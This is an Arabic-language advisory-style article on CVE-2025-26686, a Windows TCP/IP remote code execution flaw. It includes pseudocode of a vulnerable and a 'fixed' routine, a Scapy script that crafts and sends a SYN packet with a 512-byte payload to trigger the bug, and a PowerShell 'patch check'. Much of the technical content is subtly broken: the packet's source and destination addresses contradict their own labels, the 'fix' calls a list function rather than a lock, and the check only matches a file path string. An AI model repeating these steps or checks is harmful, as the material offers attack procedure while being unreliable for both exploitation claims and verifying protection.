
ثغرة RCE خطيرة في حزمة TCP/IP بنظام Windows (CVE-2025-26686) تترك الذاكرة الحساسة مكشوفة، مما يسمح للمهاجمين عن بُعد بالاستيلاء على الأنظمة. وبما أنه يمكن استغلالها عبر الشبكة، فإنها تنطوي على خطر الاختراق الكامل. ثبّت التصحيح الآن.
ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في حزمة بروتوكولات TCP/IP في ويندوز (CVE-2025-26686) تترك ذاكرة حساسة مفتوحة، مما يسمح للمهاجمين عن بُعد باختطاف الأنظمة. وهي قابلة للاستغلال عبر الشبكة وتعرّض النظام لخطر الاختراق الكامل. طبّق التصحيح الآن
بقلم Mark Mallia
النوع: تنفيذ التعليمات البرمجية عن بُعد (Remote Code Execution - RCE)
الخطورة: حرجة
متجه الهجوم: قائم على الشبكة
الأنظمة المتأثرة: إصدارات Windows 10 و11 وServer
تم اكتشاف ثغرة جديدة تُعرف باسم CVE‑2025‑26686 في حزمة بروتوكولات TCP/IP الخاصة بمايكروسوفت. وينبع سببها من غياب قفل على منطقة حرجة من الذاكرة تخزن مفاتيح التشفير أو بيانات الجلسة أو إعدادات الشبكة. ونظرًا لأن هذه المنطقة غير محمية أثناء معالجة الحزم، يمكن للمهاجم قراءة تلك المعلومات أو تعديلها عبر الشبكة والحصول على وصول بمستوى مسؤول محلي.
لا تحصل حزمة بروتوكولات TCP/IP في Windows 10/11/Server على قفل تدوير (spin-lock) مناسب عند الكتابة إلى مخازن معينة تحتفظ ببيانات الجلسة. ويؤدي غياب القفل إلى تسابق حزمتين ضد بعضهما، مما يتيح للمهاجم إدخال تعليمات برمجية خبيثة في المخزن قبل أن تنهي العملية الأصلية كتابتها.
النقاط الرئيسية:
تظهر الثغرة في الوحدة tcpip.sys، وتحديدًا حول الروتين الذي يعالج مقاطع TCP الواردة. يجب أن يحصل مسار التعليمات البرمجية المسؤول عن تحديث كتلة «بيانات الجلسة» على قفل قبل الكتابة إلى الذاكرة. وفي الإصدارات الحديثة من ويندوز، يتم حذف القفل في فرع شرطي، مما قد يؤدي إلى كتابة غير محمية.
فيما يلي مثال أدنى قابل للتكرار (كود شبه برمجي بأسلوب C++).
// tcpip.sys – problematic region
void TcpIpHandleSegment(Packet *p)
{
// … earlier code …
if (p->flags & SYN_FLAG) {
/* lock missing here */
memcpy(&sessionData, p->payload, p->len);
// … later code …
}
}
في الإصدار المحمي بشكل صحيح، ستكون القسم الحرج محاطًا بقفل تدوير مترابط (interlocked spin-lock):
// tcpip.sys – fixed region
void TcpIpHandleSegment(Packet *p)
{
// … earlier code …
if (p->flags & SYN_FLAG) {
_InterlockedPushEntrySList(&SessionLock, &sessionData);
memcpy(&sessionData, p->payload, p->len);
// … later code …
}
}
يضيف التصحيح استدعاءً للدالة _InterlockedPushEntrySList، مما يضمن وصولًا حصريًا إلى sessionData أثناء تحديثها.
تُستغل الثغرة عند وصول مقطع TCP وارد يحمل علامة SYN إلى tcpip.sys.
ولجعل الحزمة تطابق مسار التعليمات البرمجية هذا، نضبط الحقول التالية:
الطبقة الحقل القيمة النموذجية لـ CVE‑2025‑26686 IP src عنوان IP للمضيف الهدف (مثل 10.0.0.10) dst عنوان IP للمهاجم (مثل 192.168.1.2) TCP sport منفذ المهاجم (مثل 4444) dport منفذ الاستماع للخدمة الهدف (مثل 80 لبروتوكول HTTP) flags «S» لعلامة SYN للوصول إلى الفرع في TcpIpHandleSegment
ip_layer = IP(src="10.0.0.10", dst="192.168.1.2")
tcp_layer = TCP(sport=4444, dport=80, flags="S")
# The payload carries the data that will overwrite sessionData in tcpip.sys.
payload = "ExploitKey" + "A"*512 # 512 bytes of crafted content
pkt = ip_layer / tcp_layer / Raw(load=payload)
في هذه المرحلة يمكنك التحقق من بنية الحزمة:
pkt.show()
سيكشف الإخراج حقولًا مثل IP → src، وdst؛ وTCP → sport، وdport، وflags؛ وحمولة Raw بحجم 512 بايتًا.
هذا هو التسلسل الدقيق الذي تتوقعه ويندوز عند معالجة المقاطع الواردة التي تحمل علامة SYN.
send(pkt)
هذا الأمر يرسل الحزمة مباشرة من جهازك إلى حزمة TCP/IP الخاصة بالمضيف الهدف.
إذا كنت تشغّل السكربت على جهاز افتراضي بنظام Linux مثبتًا عليه Scapy، فستصل الحزمة إلى جهاز Windows وتُطلق مسار التعليمات البرمجية في tcpip.sys.
نظرًا لأن المهاجم يمكنه تعديل ذاكرة تحتوي على مفاتيح التشفير أو إعدادات الجلسة، فإن الثغرة تتيح:
يمكن استخدام سكربت فحص سريع للتحقق من وجود القفل في النظام:
# Verify the interlocked entry is present in tcpip.sys
Get-ChildItem -Path C:\Windows\System32\tcpip.sys |
Select-Object Name, @{Name='PatchPresent';Expression={
$_.FullName -match '_InterlockedPushEntrySList' } }
إذا أعاد PatchPresent القيمة $True، فإن التخفيف مطبّق.
إن CVE-2025-26686 ليست مجرد سطر آخر في قاعدة بيانات الثغرات — بل هي نداء للاستيقاظ. عندما يتم اختراق مكونات أساسية مثل حزمة بروتوكولات TCP/IP، يمكن أن تمتد تداعيات ذلك إلى شبكات وصناعات بأكملها. وتذكّرنا هذه الثغرة بأن حتى أكثر الأنظمة موثوقية تتطلب تدقيقًا وعناية مستمرين. وبصفتنا مهندسين ومدافعين، فإن مسؤوليتنا لا تقتصر على فهم هذه الثغرات بل على التصرف بنزاهة. المعلومات المقدمة هنا مخصصة حصريًا للاستخدام الأخلاقي لتعزيز الدفاعات، والمساهمة في التصحيح المسؤول، وتمكين المؤسسات من حماية مستخدميها.